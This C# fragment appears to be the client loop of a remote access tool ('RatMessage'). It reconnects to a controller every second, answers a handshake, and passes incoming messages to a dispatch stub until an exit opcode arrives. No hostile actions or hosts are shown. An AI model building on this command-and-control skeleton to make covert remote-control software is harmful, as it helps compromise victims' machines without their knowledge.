private RatMessage DecodeLine(string line) { JavaScriptSerializer serializer = new JavaScriptSerializer(); RatMessage message = serializer.Deserialize <RatMessage>(line); return(message); }
public virtual RatMessage DispatchMessage(RatMessage message) { return(new RatMessage()); }
private void WriteMessage(RatMessage message) { JavaScriptSerializer serializer = new JavaScriptSerializer(); WriteLine(serializer.Serialize(message)); }
public void RunForever() { string state = "connecting"; while (true) { switch (state) { case "disconnected": DisconnectStreams(); Debug.WriteLine("Lost connection... Reconnecting..."); state = "connecting"; break; case "connecting": if (Connect()) { state = "handshake"; } else { Thread.Sleep(1000); } break; case "handshake": { string line = ReadLine(); if (line == string.Empty) { state = "disconnected"; break; } RatMessage message = DecodeLine(line); Debug.Assert(message.opcode == Opcodes.Initiate, "unexpected opcode during handshake!"); // flip this bit message.response = true; WriteMessage(message); state = "connected"; break; } case "connected": { Debug.WriteLine("Waiting for message..."); string line = ReadLine(); if (line == string.Empty) { state = "disconnected"; break; } RatMessage message = DecodeLine(line); if (message.opcode == Opcodes.Exit) { state = "exit"; break; } RatMessage returnMessage = DispatchMessage(message); WriteMessage(returnMessage); break; } case "exit": DisconnectStreams(); return; default: return; } } }